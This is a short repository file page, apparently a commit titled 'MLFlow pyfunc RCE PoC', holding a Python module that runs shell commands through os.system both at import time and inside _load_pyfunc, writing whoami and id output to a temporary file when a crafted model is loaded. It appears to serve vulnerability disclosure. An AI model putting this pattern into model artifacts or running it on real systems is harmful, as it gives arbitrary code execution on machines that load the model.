xiaoyaobot
Add MLFlow pyfunc RCE PoC (load_model → importlib → code execution)
b899b2a
Raw
History Blame Contribute Delete
362 Bytes
import os
# This runs when importlib.import_module("exploit") is called
# Phase 1: Code execution at import time
rce_proof = os.system("whoami > /tmp/mlflow_pwned.txt && id >> /tmp/mlflow_pwned.txt")
def _load_pyfunc(path):
# Phase 2: Code execution at _load_pyfunc time
os.system("echo 'RCE in _load_pyfunc' >> /tmp/mlflow_pwned.txt")
return None